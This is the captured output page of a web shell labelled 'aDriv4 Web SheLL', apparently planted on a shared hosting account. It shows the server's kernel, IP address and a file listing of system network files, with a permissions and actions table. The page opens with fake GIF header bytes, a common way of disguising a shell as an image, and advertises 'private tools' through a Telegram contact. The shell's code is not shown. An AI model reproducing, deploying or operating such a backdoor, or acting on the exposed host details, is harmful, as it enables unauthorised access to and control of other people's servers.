GIF89;aGIF89;aGIF89;a aDriv4 website!

For more Private tool come to me!

https://t.me/aDriv4vz

aDriv4 Web SheLL
 Linux host35.registrar-servers.com 4.18.0-553.47.1.lve.el8.x86_64 #1 SMP Tue Apr 8 13:54:31 UTC 2025 x86_64
 Apache
 162.213.255.16

Name Type Size Owner/Group Permission Last Modified Actions
. dir - gemscircle/gemscircle 0555 2026-01-13 09:05:07
.. dir - gemscircle/gemscircle 0555 2026-01-13 09:05:07
bonding dir - root/root 0555 2026-01-13 09:05:07
dev_snmp6 dir - root/root 0555 2026-01-13 09:05:07
netfilter dir - root/root 0555 2026-01-13 09:05:07
nfsfs dir - root/root 0555 2026-01-13 09:05:07
rpc dir - root/root 0555 2026-01-13 09:05:07
stat dir - root/root 0555 2026-01-13 09:05:07
vlan dir - root/root 0555 2026-01-13 09:05:07
anycast6 application/x-empty 0 B root/root 0444 2026-01-13 09:05:07
arp text/plain 0 B root/root 0444 2026-01-13 09:05:07
connector text/plain 0 B root/root 0444 2026-01-13 09:05:07
dev text/plain 0 B root/root 0444 2026-01-13 09:05:07
dev_mcast text/plain 0 B root/root 0444 2026-01-13 09:05:07
fib_trie text/plain 0 B root/root 0444 2026-01-13 09:05:07
fib_triestat text/plain 0 B root/root 0444 2026-01-13 09:05:07
icmp text/plain 0 B root/root 0444 2026-01-13 09:05:07
icmp6 text/plain 0 B root/root 0444 2026-01-13 09:05:07
if_inet6 text/plain 0 B root/root 0444 2026-01-13 09:05:07
igmp text/plain 0 B root/root 0444 2026-01-13 09:05:07
igmp6 text/plain 0 B root/root 0444 2026-01-13 09:05:07
ip6_flowlabel text/plain 0 B root/root 0444 2026-01-13 09:05:07
ip6_mr_cache text/plain 0 B root/root 0444 2026-01-13 09:05:07
ip6_mr_vif text/plain 0 B root/root 0444 2026-01-13 09:05:07
ip_mr_cache text/plain 0 B root/root 0444 2026-01-13 09:05:07
ip_mr_vif text/plain 0 B root/root 0444 2026-01-13 09:05:07
ip_tables_matches 0 B root/root 0440 2026-01-13 09:05:07
ip_tables_names 0 B root/root 0440 2026-01-13 09:05:07
ip_tables_targets 0 B root/root 0440 2026-01-13 09:05:07
ipv6_route text/plain 0 B root/root 0444 2026-01-13 09:05:07
mcfilter text/plain 0 B root/root 0444 2026-01-13 09:05:07
mcfilter6 text/plain 0 B root/root 0444 2026-01-13 09:05:07
netlink text/plain 0 B root/root 0444 2026-01-13 09:05:07
netstat text/plain 0 B root/root 0444 2026-01-13 09:05:08
nf_conntrack 0 B root/root 0440 2026-01-13 09:05:08
nf_conntrack_expect 0 B root/root 0440 2026-01-13 09:05:08
packet text/plain 0 B root/root 0444 2026-01-13 09:05:08
protocols text/plain 0 B root/root 0444 2026-01-13 09:05:08
psched text/plain 0 B root/root 0444 2026-01-13 09:05:07
ptype text/plain 0 B root/root 0444 2026-01-13 09:05:08
raw text/plain 0 B root/root 0444 2026-01-13 09:05:08
raw6 text/plain 0 B root/root 0444 2026-01-13 09:05:08
route text/plain 0 B root/root 0444 2026-01-13 09:05:08
rt6_stats text/plain 0 B root/root 0444 2026-01-13 09:05:08
rt_acct application/octet-stream 0 B root/root 0444 2026-01-13 09:05:07
rt_cache text/plain 0 B root/root 0444 2026-01-13 09:05:07
snmp text/plain 0 B root/root 0444 2026-01-13 09:05:08
snmp6 text/plain 0 B root/root 0444 2026-01-13 09:05:08
sockstat text/plain 0 B root/root 0444 2026-01-13 09:05:08
sockstat6 text/plain 0 B root/root 0444 2026-01-13 09:05:08
softnet_stat text/plain 0 B root/root 0444 2026-01-13 09:05:07
tcp text/plain 0 B root/root 0444 2026-01-13 09:05:08
tcp6 text/plain 0 B root/root 0444 2026-01-13 09:05:08
tls_stat text/plain 0 B root/root 0444 2026-01-13 09:05:08
udp text/plain 0 B root/root 0444 2026-01-13 09:05:08
udp6 text/plain 0 B root/root 0444 2026-01-13 09:05:08
udplite text/plain 0 B root/root 0444 2026-01-13 09:05:08
udplite6 text/plain 0 B root/root 0444 2026-01-13 09:05:08
unix text/plain 0 B root/root 0444 2026-01-13 09:05:08
xfrm_stat text/plain 0 B root/root 0444 2026-01-13 09:05:08
© aDriv4